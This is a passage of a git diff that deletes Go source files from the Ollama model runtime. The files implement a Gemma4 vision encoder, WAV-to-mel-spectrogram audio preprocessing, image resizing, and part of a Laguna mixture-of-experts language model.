hiddenState, posX, posY, attnMask ml.Tensor, opts *VisionModelOptions) ml.Tensor { - numPatches := hiddenState.Dim(1) - headDim := opts.hiddenSize / opts.numHeads - - query := sa.Query.Forward(ctx, hiddenState) - key := sa.Key.Forward(ctx, hiddenState) - value := sa.Value.Forward(ctx, hiddenState) - - query = query.Reshape(ctx, headDim, opts.numHeads, numPatches, batchSize) - key = key.Reshape(ctx, headDim, opts.numHeads, numPatches, batchSize) - value = value.Reshape(ctx, headDim, opts.numHeads, numPatches, batchSize) - - // Q/K norms (Gemma-style: x * (1 + weight) / rms(x)) - query = sa.QueryNorm.Forward(ctx, query, opts.eps) - key = sa.KeyNorm.Forward(ctx, key, opts.eps) - - // V norm (RMSNorm without learned weights) - value = value.RMSNorm(ctx, nil, opts.eps) - - // 2D RoPE: split head dim in half, apply NeoX RoPE with x positions to first half, - // y positions to second half, then concatenate. - halfDim := headDim / 2 - ropeOpts := rope.WithTypeNeoX() - - qFirst := query.View(ctx, 0, halfDim, query.Stride(1), opts.numHeads, query.Stride(2), numPatches) - qFirst = nn.RoPE(ctx, qFirst, posX, halfDim, opts.ropeTheta, 1.0, ropeOpts) - - kFirst := key.View(ctx, 0, halfDim, key.Stride(1), opts.numHeads, key.Stride(2), numPatches) - kFirst = nn.RoPE(ctx, kFirst, posX, halfDim, opts.ropeTheta, 1.0, ropeOpts) - - halfOffset := halfDim * query.Stride(0) - qSecond := query.View(ctx, halfOffset, halfDim, query.Stride(1), opts.numHeads, query.Stride(2), numPatches) - qSecond = nn.RoPE(ctx, qSecond, posY, halfDim, opts.ropeTheta, 1.0, ropeOpts) - - halfOffsetK := halfDim * key.Stride(0) - kSecond := key.View(ctx, halfOffsetK, halfDim, key.Stride(1), opts.numHeads, key.Stride(2), numPatches) - kSecond = nn.RoPE(ctx, kSecond, posY, halfDim, opts.ropeTheta, 1.0, ropeOpts) - - query = qFirst.Concat(ctx, qSecond, 0) - key = kFirst.Concat(ctx, kSecond, 0) - - // Use flash attention for numerical stability (handles large attention scores - // from unclamped RMSNorm weights, e.g. 26B has addOne weights up to 19.5) - attention := nn.Attention(ctx, query, key, value, 1.0, nil) - attention = attention.Reshape(ctx, opts.hiddenSize, attention.Dim(2), batchSize) - - return sa.Output.Forward(ctx, attention) -} - -type VisionMLP struct { - Gate *ClippableLinear `gguf:"ffn_gate"` - Up *ClippableLinear `gguf:"ffn_up"` - Down *ClippableLinear `gguf:"ffn_down"` -} - -func (mlp *VisionMLP) Forward(ctx ml.Context, hiddenState ml.Tensor) ml.Tensor { - gate := mlp.Gate.Forward(ctx, hiddenState) - up := mlp.Up.Forward(ctx, hiddenState) - hiddenState = gate.QuickGELU(ctx, up) - return mlp.Down.Forward(ctx, hiddenState) -} - -type VisionEncoderLayer struct { - AttentionNorm *nn.RMSNorm `gguf:"ln1"` - SelfAttention *VisionSelfAttention - PostAttentionNorm *nn.RMSNorm `gguf:"attn_post_norm"` - - FFNNorm *nn.RMSNorm `gguf:"ln2"` - MLP *VisionMLP - PostFFNNorm *nn.RMSNorm `gguf:"ffn_post_norm"` - - LayerOutputScale ml.Tensor `gguf:"out_scale.weight"` -} - -func (e *VisionEncoderLayer) Forward(ctx ml.Context, hiddenState, posX, posY, attnMask ml.Tensor, opts *VisionModelOptions) ml.Tensor { - residual := hiddenState - - // Pre-attention norm -> self attention -> post-attention norm - hiddenState = e.AttentionNorm.Forward(ctx, hiddenState, opts.eps) - hiddenState = e.SelfAttention.Forward(ctx, hiddenState, posX, posY, attnMask, opts) - hiddenState = e.PostAttentionNorm.Forward(ctx, hiddenState, opts.eps) - - // Residual connection - hiddenState = hiddenState.Add(ctx, residual) - residual = hiddenState - - // Pre-FFN norm -> FFN -> post-FFN norm - hiddenState = e.FFNNorm.Forward(ctx, hiddenState, opts.eps) - hiddenState = e.MLP.Forward(ctx, hiddenState) - hiddenState = e.PostFFNNorm.Forward(ctx, hiddenState, opts.eps) - - // Residual connection - hiddenState = hiddenState.Add(ctx, residual) - - // Per-layer output scale - if e.LayerOutputScale != nil { - hiddenState = hiddenState.Mul(ctx, e.LayerOutputScale) - } - - return hiddenState -} - -type VisionModelOptions struct { - hiddenSize int - numHeads int - patchSize int - nMerge int - eps float32 - ropeTheta float32 -} - -type VisionModel struct { - PatchEmbedding *nn.Conv2D `gguf:"patch_embd"` - PositionEmbedding ml.Tensor `gguf:"position_embd.weight"` - ClampData ml.Tensor `gguf:"clamp_data"` - StdBias ml.Tensor `gguf:"std_bias"` - StdScale ml.Tensor `gguf:"std_scale"` - - Layers []VisionEncoderLayer `gguf:"blk"` - - *VisionModelOptions - clampInitDone bool -} - -func (m *VisionModel) Forward(ctx ml.Context, pixelValues ml.Tensor, numPatchesX, numPatchesY int) ml.Tensor { - numPatches := numPatchesX * numPatchesY - - // Patch embedding via Conv2D - hiddenState := m.PatchEmbedding.Forward(ctx, pixelValues, m.patchSize, m.patchSize, 0, 0, 1, 1) - hiddenState = hiddenState.Reshape(ctx, numPatches, m.hiddenSize) - hiddenState = hiddenState.Permute(ctx, 1, 0, 2, 3).Contiguous(ctx) - - // Conv2D with F16 weights produces F16 output via im2col; cast to F32 for encoder precision - hiddenState = hiddenState.Cast(ctx, ml.DTypeF32) - - // 2D positional embeddings from 3D tensor [nEmbd, maxPos, 2] - posSize := m.PositionEmbedding.Dim(1) - nb1 := m.PositionEmbedding.Stride(1) - tblX := m.PositionEmbedding.View(ctx, 0, m.hiddenSize, nb1, posSize) - tblY := m.PositionEmbedding.View(ctx, posSize*nb1, m.hiddenSize, nb1, posSize) - - // Position indices for patches - posXData := make([]int32, numPatches) - posYData := make([]int32, numPatches) - for i := range numPatches { - posXData[i] = int32(i % numPatchesX) - posYData[i] = int32(i / numPatchesX) - } - - posXEmb := ctx.Input().FromInts(posXData, numPatches) - posYEmb := ctx.Input().FromInts(posYData, numPatches) - - hiddenState = hiddenState.Add(ctx, tblX.Rows(ctx, posXEmb)) - hiddenState = hiddenState.Add(ctx, tblY.Rows(ctx, posYEmb)) - - // No attention mask — all positions are real patches - var attnMask ml.Tensor - - // RoPE positions - posXRope := ctx.Input().FromInts(posXData, numPatches) - posYRope := ctx.Input().FromInts(posYData, numPatches) - - // Vision transformer layers - for i := range m.Layers { - hiddenState = m.Layers[i].Forward(ctx, hiddenState, posXRope, posYRope, attnMask, m.VisionModelOptions) - } - - return hiddenState -} - -func newVisionModel(c fs.Config) *VisionModel { - return &VisionModel{ - Layers: make([]VisionEncoderLayer, c.Uint("vision.block_count")), - VisionModelOptions: &VisionModelOptions{ - hiddenSize: int(c.Uint("vision.embedding_length")), - numHeads: int(c.Uint("vision.attention.head_count")), - patchSize: int(c.Uint("vision.patch_size", 16)), - nMerge: int(c.Uint("vision.projector.scale_factor", 3)), - eps: c.Float("vision.attention.layer_norm_epsilon", 1e-6), - ropeTheta: 100.0, - }, - } -} - -func visionPoolAndProject(ctx ml.Context, hiddenState ml.Tensor, numPatchesX, numPatchesY int, opts *VisionModelOptions, proj *MultiModalProjector, stdBias, stdScale ml.Tensor) ml.Tensor { - hiddenSize := opts.hiddenSize - - // Reshape from [hiddenSize, numPatches] to spatial layout for pooling - hiddenState = hiddenState.Permute(ctx, 1, 0, 2, 3).Contiguous(ctx) - hiddenState = hiddenState.Reshape(ctx, numPatchesX, numPatchesY, hiddenSize) - - // AvgPool2D with kernel=stride=nMerge - hiddenState = hiddenState.AvgPool2D(ctx, opts.nMerge, opts.nMerge, 0) - - // Reshape back to [hiddenSize, numMergedPatches] - mergedX := numPatchesX / opts.nMerge - mergedY := numPatchesY / opts.nMerge - hiddenState = hiddenState.Reshape(ctx, mergedX*mergedY, hiddenSize) - hiddenState = hiddenState.Permute(ctx, 1, 0, 2, 3).Contiguous(ctx) - - hiddenState = hiddenState.Cast(ctx, ml.DTypeF32) - hiddenState = hiddenState.Scale(ctx, math.Sqrt(float64(hiddenSize))) - - // Optional vision standardization before projection. - if stdBias != nil && stdScale != nil { - hiddenState = hiddenState.Sub(ctx, stdBias) - hiddenState = hiddenState.Mul(ctx, stdScale) - } - - // Project to text embedding dimension - hiddenState = proj.Forward(ctx, hiddenState, opts.eps) - - return hiddenState -} diff --git a/model/models/gemma4/process_audio.go b/model/models/gemma4/process_audio.go deleted file mode 100644 index 63fdf3512..000000000 --- a/model/models/gemma4/process_audio.go +++ /dev/null @@ -1,280 +0,0 @@ -package gemma4 - -import ( - "encoding/binary" - "fmt" - "math" - "math/cmplx" -) - -// Audio preprocessing constants. -const ( - audioSampleRate = 16000 - melBins = 128 - frameLengthMs = 20.0 - hopLengthMs = 10.0 - minFrequency = 0.0 - maxFrequency = 8000.0 - melFloor = 1e-3 - maxAudioSoftTokens = 750 -) - -// Computed from the above constants. -var ( - frameLength = int(math.Round(audioSampleRate * frameLengthMs / 1000.0)) // 320 - hopLength = int(math.Round(audioSampleRate * hopLengthMs / 1000.0)) // 160 -) - -// decodeWAV extracts mono float32 PCM samples from a WAV file, resampled to 16kHz. -func decodeWAV(data []byte) ([]float32, error) { - if len(data) < 12 { - return nil, fmt.Errorf("WAV file too short") - } - if string(data[0:4]) != "RIFF" || string(data[8:12]) != "WAVE" { - return nil, fmt.Errorf("not a WAV file") - } - - var audioFormat uint16 - var numChannels, sampleRate, bitsPerSample int - var audioData []byte - foundFmt := false - - offset := 12 - for offset+8 <= len(data) { - chunkID := string(data[offset : offset+4]) - chunkSize := int(binary.LittleEndian.Uint32(data[offset+4 : offset+8])) - chunkData := data[offset+8 : min(offset+8+chunkSize, len(data))] - - switch chunkID { - case "fmt ": - if len(chunkData) < 16 { - return nil, fmt.Errorf("fmt chunk too short") - } - audioFormat = binary.LittleEndian.Uint16(chunkData[0:2]) - numChannels = int(binary.LittleEndian.Uint16(chunkData[2:4])) - sampleRate = int(binary.LittleEndian.Uint32(chunkData[4:8])) - bitsPerSample = int(binary.LittleEndian.Uint16(chunkData[14:16])) - if audioFormat == 0xFFFE && len(chunkData) >= 26 { - audioFormat = binary.LittleEndian.Uint16(chunkData[24:26]) - } - foundFmt = true - case "data": - audioData = chunkData - } - - offset += 8 + chunkSize - if chunkSize%2 != 0 { - offset++ - } - } - - if !foundFmt { - return nil, fmt.Errorf("no fmt chunk found in WAV file") - } - if audioFormat != 1 && audioFormat != 3 { - return nil, fmt.Errorf("unsupported WAV format: %d (need PCM=1 or float=3)", audioFormat) - } - if audioData == nil { - return nil, fmt.Errorf("no data chunk found in WAV file") - } - - samples := decodeWAVSamples(audioData, audioFormat, bitsPerSample, numChannels) - if sampleRate != audioSampleRate { - samples = resampleLinear(samples, sampleRate, audioSampleRate) - } - return samples, nil -} - -func decodeWAVSamples(data []byte, format uint16, bits, channels int) []float32 { - bytesPerSample := bits / 8 - totalSamples := len(data) / (bytesPerSample * channels) - mono := make([]float32, totalSamples) - - for i := range totalSamples { - var sum float64 - for ch := range channels { - off := (i*channels + ch) * bytesPerSample - if off+bytesPerSample > len(data) { - break - } - switch { - case format == 1 && bits == 16: - v := int16(binary.LittleEndian.Uint16(data[off : off+2])) - sum += float64(v) / 32768.0 - case format == 1 && bits == 32: - v := int32(binary.LittleEndian.Uint32(data[off : off+4])) - sum += float64(v) / 2147483648.0 - case format == 1 && bits == 24: - v := int32(data[off]) | int32(data[off+1])<<8 | int32(data[off+2])<<16 - if v&0x800000 != 0 { - v |= ^0xFFFFFF - } - sum += float64(v) / 8388608.0 - case format == 3 && bits == 32: - v := math.Float32frombits(binary.LittleEndian.Uint32(data[off : off+4])) - sum += float64(v) - case format == 1 && bits == 8: - sum += (float64(data[off]) - 128.0) / 128.0 - } - } - mono[i] = float32(sum / float64(channels)) - } - return mono -} - -func resampleLinear(samples []float32, fromRate, toRate int) []float32 { - n := int(float64(len(samples)) / float64(fromRate) * float64(toRate)) - out := make([]float32, n) - for i := range n { - pos := float64(i) * float64(len(samples)-1) / float64(n-1) - idx := int(pos) - frac := float32(pos - float64(idx)) - if idx+1 < len(samples) { - out[i] = samples[idx]*(1-frac) + samples[idx+1]*frac - } else { - out[i] = samples[idx] - } - } - return out -} - -// computeMelSpectrogram computes the log mel spectrogram from PCM samples. -// Returns shape [numFrames, melBins] as float32 slice, and numFrames. -func computeMelSpectrogram(samples []float32) ([]float32, int) { - fftLen := 1 - for fftLen < frameLength { - fftLen <<= 1 - } - fftLen *= 2 // fft_overdrive=True - - // Hanning-nonzero window. - window := make([]float64, frameLength) - arg := math.Pi * 2.0 / float64(frameLength) - for i := range frameLength { - window[i] = 0.5 - 0.5*math.Cos(arg*(float64(i)+0.5)) - } - - numFreqBins := fftLen/2 + 1 - melFilters := buildMelFilterBank(numFreqBins, melBins, minFrequency, maxFrequency, audioSampleRate) - - frameSizeForUnfold := frameLength + 1 - numFrames := (len(samples) - frameSizeForUnfold) / hopLength - if numFrames <= 0 { - return nil, 0 - } - - result := make([]float32, numFrames*melBins) - fftInput := make([]complex128, fftLen) - - for f := range numFrames { - start := f * hopLength - for i := range frameLength { - fftInput[i] = complex(float64(samples[start+i])*window[i], 0) - } - for i := frameLength; i < fftLen; i++ { - fftInput[i] = 0 - } - - fft(fftInput) - - for m := range melBins { - var melVal float64 - for k := range numFreqBins { - mag := cmplx.Abs(fftInput[k]) - melVal += mag * float64(melFilters[k*melBins+m]) - } - if melVal < melFloor { - melVal = melFloor - } - result[f*melBins+m] = float32(math.Log(melVal)) - } - } - - return result, numFrames -} - -func buildMelFilterBank(numFreqBins, numMels int, fMin, fMax float64, sr int) []float32 { - hzToMel := func(f float64) float64 { - return 2595.0 * math.Log10(1.0+f/700.0) - } - melToHz := func(m float64) float64 { - return 700.0 * (math.Pow(10.0, m/2595.0) - 1.0) - } - - melMin := hzToMel(fMin) - melMax := hzToMel(fMax) - - melPts := make([]float64, numMels+2) - for i := range melPts { - melPts[i] = melMin + float64(i)*(melMax-melMin)/float64(numMels+1) - } - filterFreqs := make([]float64, numMels+2) - for i, m := range melPts { - filterFreqs[i] = melToHz(m) - } - - fftFreqs := make([]float64, numFreqBins) - for i := range fftFreqs { - fftFreqs[i] = float64(i) * float64(sr) / float64(2*(numFreqBins-1)) - } - - filters := make([]float32, numFreqBins*numMels) - for m := range numMels { - fLeft := filterFreqs[m] - fCenter := filterFreqs[m+1] - fRight := filterFreqs[m+2] - for k := range numFreqBins { - f := fftFreqs[k] - var v float64 - if f >= fLeft && f <= fCenter && fCenter > fLeft { - v = (f - fLeft) / (fCenter - fLeft) - } else if f > fCenter && f <= fRight && fRight > fCenter { - v = (fRight - f) / (fRight - fCenter) - } - if v > 0 { - filters[k*numMels+m] = float32(v) - } - } - } - return filters -} - -// fft performs an in-place Cooley-Tukey radix-2 FFT. -func fft(x []complex128) { - n := len(x) - if n <= 1 { - return - } - - j := 0 - for i := 1; i < n; i++ { - bit := n >> 1 - for j&bit != 0 { - j ^= bit - bit >>= 1 - } - j ^= bit - if i < j { - x[i], x[j] = x[j], x[i] - } - } - - for size := 2; size <= n; size <<= 1 { - halfSize := size / 2 - w := complex(math.Cos(2*math.Pi/float64(size)), -math.Sin(2*math.Pi/float64(size))) - for start := 0; start < n; start += size { - wn := complex(1, 0) - for k := range halfSize { - t := wn * x[start+k+halfSize] - x[start+k+halfSize] = x[start+k] - t - x[start+k] = x[start+k] + t - wn *= w - } - } - } -} - -// isAudioData checks if the data starts with WAV magic bytes. -func isAudioData(data []byte) bool { - return len(data) >= 12 && string(data[0:4]) == "RIFF" && string(data[8:12]) == "WAVE" -} diff --git a/model/models/gemma4/process_image.go b/model/models/gemma4/process_image.go deleted file mode 100644 index 0404ffb7b..000000000 --- a/model/models/gemma4/process_image.go +++ /dev/null @@ -1,103 +0,0 @@ -package gemma4 - -import ( - "image" - "math" - - "golang.org/x/image/draw" - - "github.com/ollama/ollama/fs" -) - -type ImageProcessor struct { - patchSize int - numChannels int - nMerge int - minPixels int - maxPixels int -} - -func newImageProcessor(c fs.Config) ImageProcessor { - patchSize := int(c.Uint("vision.patch_size", 16)) - nMerge := int(c.Uint("vision.projector.scale_factor", 3)) - numChannels := int(c.Uint("vision.num_channels", 3)) - - // Token limits from reference: min=40, max=280 output tokens after pooling. - // Convert to pixel counts: tokens * nMerge^2 * patchSize^2 - minTokens := 40 - maxTokens := 280 - patchArea := patchSize * patchSize * nMerge * nMerge - minPixels := minTokens * patchArea - maxPixels := maxTokens * patchArea - - return ImageProcessor{ - patchSize: patchSize, - numChannels: numChannels, - nMerge: nMerge, - minPixels: minPixels, - maxPixels: maxPixels, - } -} - -// ProcessImage resizes an image preserving aspect ratio, aligning dimensions -// to (patchSize * nMerge) boundaries, and normalizes pixels to [-1, 1]. -// Returns the float32 pixel data and the actual output dimensions. -func (p *ImageProcessor) ProcessImage(img image.Image) ([]float32, int, int, error) { - // Compute target size preserving aspect ratio - alignSize := p.patchSize * p.nMerge - targetW, targetH := p.smartResize(img.Bounds().Dx(), img.Bounds().Dy(), alignSize) - - // Resize directly without alpha compositing, matching MLX reference. - dst := image.NewRGBA(image.Rect(0, 0, targetW, targetH)) - draw.BiLinear.Scale(dst, dst.Bounds(), img, img.Bounds(), draw.Over, nil) - - // Normalize to [-1, 1] using mean=0.5, std=0.5: (pixel/255 - 0.5) / 0.5 = 2*pixel/255 - 1 - data := p.pack(dst) - return data, targetW, targetH, nil -} - -// smartResize computes target dimensions that preserve aspect ratio and -// align to alignSize boundaries. It scales the image to fill the maximum -// patch budget (maxPixels), matching the MLX reference. -func (p *ImageProcessor) smartResize(origW, origH, alignSize int) (int, int) { - totalPx := origW * origH - - var targetW, targetH int - if p.maxPixels > 0 && totalPx > 0 { - factor := math.Sqrt(float64(p.maxPixels) / float64(totalPx)) - targetH = max(alignSize, int(math.Floor(factor*float64(origH)/float64(alignSize)))*alignSize) - targetW = max(alignSize, int(math.Floor(factor*float64(origW)/float64(alignSize)))*alignSize) - } else { - targetH = max(alignSize, (origH/alignSize)*alignSize) - targetW = max(alignSize, (origW/alignSize)*alignSize) - } - - return targetW, targetH -} - -// pack extracts RGB values from an image and normalizes to [-1, 1]. -// Returns channel-first layout: [R..., G..., B...]. -func (p *ImageProcessor) pack(img image.Image) []float32 { - bounds := img.Bounds() - w := bounds.Dx() - h := bounds.Dy() - size := w * h - - pixelVals := make([]float32, 3*size) - rOff, gOff, bOff := 0, size, 2*size - - for y := bounds.Min.Y; y < bounds.Max.Y; y++ { - for x := bounds.Min.X; x < bounds.Max.X; x++ { - c := img.At(x, y) - r, g, b, _ := c.RGBA() - idx := (y-bounds.Min.Y)*w + (x - bounds.Min.X) - - // Normalize [0, 255] -> [-1, 1]: 2 * (val/255) - 1 - pixelVals[rOff+idx] = float32(r>>8)/255.0*2.0 - 1.0 - pixelVals[gOff+idx] = float32(g>>8)/255.0*2.0 - 1.0 - pixelVals[bOff+idx] = float32(b>>8)/255.0*2.0 - 1.0 - } - } - - return pixelVals -} diff --git a/model/models/laguna/model.go b/model/models/laguna/model.go deleted file mode 100644 index 82a913e58..000000000 --- a/model/models/laguna/model.go +++ /dev/null @@ -1,444 +0,0 @@ -package laguna - -import ( - "fmt" - "math" - - "github.com/ollama/ollama/fs" - "github.com/ollama/ollama/kvcache" - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/ml/nn" - "github.com/ollama/ollama/ml/nn/rope" - "github.com/ollama/ollama/model" - "github.com/ollama/ollama/model/input" - "github.com/ollama/ollama/tokenizer" -) - -const ( - cacheTypeSWA = iota - cacheTypeCausal -) - -type Options struct { - hiddenSize int - headDim int - - numHeads []int - numKVHeads int - - eps float32 - - slidingWindow int - slidingWindowPattern []bool - - fullRopeDim int - fullRopeBase, fullRopeScale float32 - fullRopeOriginalContextLength int - fullRopeAttentionFactor float32 - fullRopeBetaFast float32 - fullRopeBetaSlow float32 - - swaRopeDim int - swaRopeBase, swaRopeScale float32 - numExperts, numExpertsUsed int - normTopKProb bool - routedScalingFactor float32 - decoderSparseStep int - denseLayers map[int]bool -} - -func (o *Options) numHeadsForLayer(layer int) int { - if layer < len(o.numHeads) && o.numHeads[layer] > 0 { - return o.numHeads[layer] - } - if len(o.numHeads) > 0 && o.numHeads[0] > 0 { - return o.numHeads[0] - } - return 1 -} - -func (o *Options) layerIsSliding(layer int) bool { - return layer < len(o.slidingWindowPattern) && o.slidingWindowPattern[layer] -} - -func (o *Options) layerUsesMoE(layer int) bool { - if o.numExperts == 0 || o.denseLayers[layer] { - return false - } - step := o.decoderSparseStep - if step <= 0 { - step = 1 - } - return (layer+1)%step == 0 -} - -func (o *Options) applyRotaryPositionEmbeddings(ctx ml.Context, layer int, states, positions ml.Tensor) ml.Tensor { - opts := []func(*rope.Options){rope.WithTypeNeoX()} - if o.layerIsSliding(layer) { - return nn.RoPE(ctx, states, positions, o.swaRopeDim, o.swaRopeBase, 1./o.swaRopeScale, opts...) - } - - opts = append(opts, - rope.WithOriginalContextLength(o.fullRopeOriginalContextLength), - rope.WithExtrapolationFactor(1), - rope.WithAttentionFactor(o.fullRopeAttentionFactor), - rope.WithBetaFast(o.fullRopeBetaFast), - rope.WithBetaSlow(o.fullRopeBetaSlow), - ) - return nn.RoPE(ctx, states, positions, o.fullRopeDim, o.fullRopeBase, 1./o.fullRopeScale, opts...) -} - -type Attention struct { - Query *nn.Linear `gguf:"attn_q"` - QueryNorm *nn.RMSNorm `gguf:"attn_q_norm"` - Key *nn.Linear `gguf:"attn_k"` - KeyNorm *nn.RMSNorm `gguf:"attn_k_norm"` - Value *nn.Linear `gguf:"attn_v"` - Gate *nn.Linear `gguf:"attn_g"` - Output *nn.Linear `gguf:"attn_output"` -} - -func (sa *Attention) Forward(ctx ml.Context, layer int, hiddenStates, positions ml.Tensor, cache kvcache.Cache, opts *Options) ml.Tensor { - batchSize := hiddenStates.Dim(1) - numHeads := opts.numHeadsForLayer(layer) - - query := sa.Query.Forward(ctx, hiddenStates) - key := sa.Key.Forward(ctx, hiddenStates) - value := sa.Value.Forward(ctx, hiddenStates) - gate := sa.Gate.Forward(ctx, hiddenStates) - - query = query.Reshape(ctx, opts.headDim, numHeads, batchSize) - key = key.Reshape(ctx, opts.headDim, opts.numKVHeads, batchSize) - value = value.Reshape(ctx, opts.headDim, opts.numKVHeads, batchSize) - - query = sa.QueryNorm.Forward(ctx, query, opts.eps) - key = sa.KeyNorm.Forward(ctx, key, opts.eps) - - query = opts.applyRotaryPositionEmbeddings(ctx, layer, query, positions) - key = opts.applyRotaryPositionEmbeddings(ctx, layer, key, positions) - - attention := nn.Attention(ctx, query, key, value, 1./math.Sqrt(float64(opts.headDim)), cache) - // Laguna applies the per-head gate softplus in float32, then casts back. - gate = gate.Cast(ctx, ml.DTypeF32).Softplus(ctx).Cast(ctx, attention.DType()) - attention = attention.Mul(ctx, gate.Reshape(ctx, 1, numHeads, batchSize)) - attention = attention.Reshape(ctx, opts.headDim*numHeads, batchSize) - return sa.Output.Forward(ctx, attention) -} - -type MLP interface { - Forward(ml.Context, ml.Tensor, *Options) ml.Tensor -} - -type dense struct { - Gate *nn.Linear `gguf:"ffn_gate"` - Up *nn.Linear `gguf:"ffn_up"` - Down *nn.Linear `gguf:"ffn_down"` -} - -func (mlp *dense) Forward(ctx ml.Context, hiddenStates ml.Tensor, _ *Options) ml.Tensor { - hiddenStates = mlp.Gate.Forward(ctx, hiddenStates).SILU(ctx, mlp.Up.Forward(ctx, hiddenStates)) - return mlp.Down.Forward(ctx, hiddenStates) -} - -type sparse struct { - Router *nn.Linear `gguf:"ffn_gate_inp"` - Gate *nn.LinearBatch `gguf:"ffn_gate_exps"` - Up *nn.LinearBatch `gguf:"ffn_up_exps"` - Down *nn.LinearBatch `gguf:"ffn_down_exps"` - SharedExpert *dense `gguf:",suf:_shexp"` - ExpProbsBias ml.Tensor `gguf:"exp_probs_b.bias,alt:exp_probs_b"` -} - -func (moe *sparse) topKIndices(ctx ml.Context, scores ml.Tensor, opts *Options) ml.Tensor { - if moe.ExpProbsBias != nil { - scores = scores.Add(ctx, moe.ExpProbsBias) - } - return scores.TopK(ctx, opts.numExpertsUsed) -} - -func (moe *sparse) Forward(ctx ml.Context, hiddenStates ml.Tensor, opts *Options) ml.Tensor { - residual := hiddenStates - - scores := moe.Router.Forward(ctx, hiddenStates).Cast(ctx, ml.DTypeF32).Sigmoid(ctx) - selectedExperts := moe.topKIndices(ctx, scores, opts) - routingWeights := scores.Reshape(ctx, 1, opts.numExperts, hiddenStates.Dim(1)).Rows(ctx, selectedExperts) - if opts.normTopKProb { - routingWeights = routingWeights.Reshape(ctx, opts.numExpertsUsed, hiddenStates.Dim(1)) - routingWeights = routingWeights.Div(ctx, routingWeights.SumRows(ctx)) - routingWeights = routingWeights.Reshape(ctx, 1, opts.numExpertsUsed, hiddenStates.Dim(1)) - } - routingWeights = routingWeights.Scale(ctx, float64(opts.routedScalingFactor)) - - hiddenStates = hiddenStates.Reshape(ctx, hiddenStates.Dim(0), 1, hiddenStates.Dim(1)) - upStates := moe.Up.Forward(ctx, hiddenStates, selectedExperts) - hiddenStates = moe.Gate.Forward(ctx, hiddenStates, selectedExperts).SILU(ctx, upStates) - - experts := moe.Down.Forward(ctx, hiddenStates, selectedExperts) - experts = experts.Mul(ctx, routingWeights) - - nextStates := experts.View(ctx, 0, experts.Dim(0), experts.Stride(2), experts.Dim(2)) - for i := 1; i < opts.numExpertsUsed; i++ { - nextStates = nextStates.Add(ctx, experts.View(ctx, i*experts.Stride(1), experts.Dim(0), experts.Stride(2), experts.Dim(2))) - } - - return nextStates.Add(ctx, moe.SharedExpert.Forward(ctx, residual, opts)) -} - -type Layer struct { - AttentionNorm *nn.RMSNorm `gguf:"attn_norm"` - *Attention - - MLPNorm *nn.RMSNorm `gguf:"ffn_norm"` - MLP -} - -func (l *Layer) Forward(ctx ml.Context, layer int, hiddenStates, positions, outputs ml.Tensor, cache kvcache.Cache, opts *Options) ml.Tensor { - residual := hiddenStates - hiddenStates = l.AttentionNorm.Forward(ctx, hiddenStates, opts.eps) - hiddenStates = l.Attention.Forward(ctx, layer, hiddenStates, positions, cache, opts) - - if outputs != nil { - hiddenStates = hiddenStates.Rows(ctx, outputs) - residual = residual.Rows(ctx, outputs) - } - - hiddenStates = hiddenStates.Add(ctx, residual) - residual = hiddenStates - - hiddenStates = l.MLPNorm.Forward(ctx, hiddenStates, opts.eps) - hiddenStates = l.MLP.Forward(ctx, hiddenStates, opts) - return hiddenStates.Add(ctx, residual) -} - -type Model struct { - model.Base - tokenizer.Tokenizer - - TokenEmbedding *nn.Embedding `gguf:"token_embd"` - Layers []Layer `gguf:"blk"` - OutputNorm *nn.RMSNorm `gguf:"output_norm"` - Output *nn.Linear `gguf:"output,alt:token_embd"` - - *Options -} - -func New(c fs.Config) (model.Model, error) { - if c.Bool("attention.sink_enabled") { - return nil, fmt.Errorf("laguna: SWA attention sinks are not supported") - } - if c.Uint("attention.gating_type") != 1 { - return nil, fmt.Errorf("laguna: unsupported attention gating type %d", c.Uint("attention.gating_type")) - } - if !c.Bool("attention.qk_norm") { - return nil, fmt.Errorf("laguna: Q/K RMSNorm is required") - } - if gating := c.Uint("expert_gating_func"); gating != 2 { - return nil, fmt.Errorf("laguna: unsupported expert gating function %d", gating) - } - - numLayers := int(c.Uint("block_count")) - opts := newOptions(c, numLayers) - layers := make([]Layer, numLayers) - for i := range layers { - if opts.layerUsesMoE(i) { - layers[i].MLP = &sparse{} - } else { - layers[i].MLP = &dense{} - } - } - - var pre []string - switch c.String("tokenizer.ggml.pre") { - case "laguna": - pre = []string{ - `(?:\r?\n)+(?!\r?\n)`, - `(?i:'s|'t|'re|'ve|'m|'ll|'d)|[^\r\n\p{L}\p{N}]?\p{L}+|\p{N}| ?[^\s\p{L}\p{N}]+[\r\n]*|\s*[\r\n]+|\s+(?!\S)|\s+`, - } - default: - return nil, model.ErrUnsupportedTokenizer - } - - m := Model{ - Tokenizer: tokenizer.NewBytePairEncoding( - &tokenizer.Vocabulary{ - Values: c.Strings("tokenizer.ggml.tokens"), - Types: c.Ints("tokenizer.ggml.token_type"), - Merges: c.Strings("tokenizer.ggml.merges"), - AddBOS: c.Bool("tokenizer.ggml.add_bos_token", true), - BOS: []int32{int32(c.Uint("tokenizer.ggml.bos_token_id"))}, - AddEOS: c.Bool("tokenizer.ggml.add_eos_token", false), - EOS: append( - []int32{int32(c.Uint("tokenizer.ggml.eos_token_id"))}, - c.Ints("tokenizer.ggml.eos_token_ids")..., - ), - }, - pre..., - ), - Layers: layers, - Options: opts, - } - - m.Cache = kvcache.NewWrapperCache( - kvcache.NewSWACache(int32(opts.slidingWindow), m.Shift), - kvcache.NewCausalCache(m.Shift), - ) - return &m, nil -} - -func newOptions(c fs.Config, numLayers int) *Options { - denseLayers := make(map[int]bool) - for _, layer := range configUints(c, "dense_layers") { - denseLayers[int(layer)] = true - } - for i := range c.Uint("leading_dense_block_count") { - denseLayers[int(i)] = true - } - - fullRopeScale := c.Float("rope.scaling.factor", 1) - if fullRopeScale == 0 { - fullRopeScale = 1 - } - swaRopeScale := c.Float("rope.swa.scaling.factor", 1) - if swaRopeScale == 0 { - swaRopeScale = 1 - } - fullRopeType := c.String("rope.scaling.type") - fullRopeAttentionFactor := lagunaAttentionFactor(fullRopeType, fullRopeScale, c.Float("rope.scaling.attn_factor")) - - return &Options{ - hiddenSize: int(c.Uint("embedding_length")), - headDim: int(c.Uint("attention.key_length")), - numHeads: expandIntArray(configUints(c, "attention.head_count"), numLayers, c.Uint("attention.head_count", 1)), - numKVHeads: int(c.Uint("attention.head_count_kv")), - eps: c.Float("attention.layer_norm_rms_epsilon", 1e-6), - slidingWindow: int(c.Uint("attention.sliding_window", 512)), - slidingWindowPattern: slidingWindowPattern(c, numLayers), - fullRopeDim: int(c.Uint("rope.dimension_count", c.Uint("attention.key_length"))), - 